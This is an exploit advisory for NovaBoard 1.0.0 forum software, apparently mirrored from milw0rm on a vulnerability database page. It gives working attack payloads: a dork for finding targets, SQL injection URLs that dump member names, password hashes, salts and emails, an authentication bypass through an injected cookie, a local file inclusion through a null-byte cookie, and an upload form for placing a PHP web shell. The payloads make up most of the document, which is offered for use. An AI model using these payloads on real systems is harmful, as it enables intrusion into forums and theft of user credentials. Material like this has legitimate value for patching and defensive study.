novaboard 1.0.0 - Multiple Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType

novaboard 1.0.0 multiple vulnerabilities found in blind and standard sql-inj, auth, local include, and shell uploa


                                                ===============================================================================================

Found : brain[pillow]
Dork  : &#34;Powered by NovaBoard v1.0.0&#34;
Visit : brainpillow.cc, forum.antichat.ru, raz0r.name
Mail  : [email protected]

===============================================================================================

-- [ blind sql-inj ]: 

/index.php?page=search&search=xe&author_id=&author=&startdate=&enddate=&forums%5B%5D=&pf=1&topic=1&#39;+union+select+1,2,3,4,5,6,7,8,9+from+novaboard_posts+where+1=&#39;2

Need: magic quotes = off

===============================================================================================

-- [ standart sql-inj ]:

/index.php?forum=2&#39;+union+select+1,2,concat_ws(&#39;%20|%20&#39;,name,password,pass_salt,email)+from+novaboard_members+where+1=&#39;1

Need: magic quotes = off
Note: $password= md5($password . $pass_salt);

===============================================================================================

-- [ sql-inj in auth ]:

COOKIES: nova_name=admin&#39;#; nova_password=1c20a3e48e3b6607fedded430a20f606

Need:   magic quotes = off

===============================================================================================

-- [ local include ]:

/uploads/upload.php
Cookie: nova_lang=../index.php%00

Need:   1) no cookie &#34;nova_name&#34; in your browser.
        2) magic quotes = off

===============================================================================================

-- [ shell upload ]:

&#60;form enctype=&#39;multipart/form-data&#39; method=&#39;post&#39; 

action=&#39;http://localhost/_BOARD_PATH_/uploads/uploader.php&#39;&#62;
&#60;input type=&#39;hidden&#39; name=&#39;MAX_FILE_SIZE&#39; value=&#39;100000000000&#39; /&#62;
&#60;input type=&#39;hidden&#39; name=&#39;topicid&#39; value=&#39;&#39; /&#62;
&#60;input type=&#39;hidden&#39; name=&#39;member&#39; value=&#39;&#39; /&#62;
&#60;input type=&#39;hidden&#39; name=&#39;attachtype&#39; value=&#39;&#39; /&#62;
&#60;input type=&#39;hidden&#39; name=&#39;hash&#39; value=&#39;31337&#39; /&#62;
&#60;input type=&#39;hidden&#39; name=&#39;attachtype&#39; value=&#39;attachments&#39; /&#62;
&#60;input type=&#39;file&#39; name=&#39;uploadedfile&#39;&#62;
&#60;input type=&#39;submit&#39; value=&#39;Upload&#39; /&#62;
&#60;/form&#62;

Note: Must upload file &#34;shell.php.anything.rar&#34; and then have fun here: 

http://localhost/_BOARD_PATH_/uploads/attachments/31337shell.php.anything.rar

Need: attachments allowed

===============================================================================================

# milw0rm.com [2009-02-16]

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1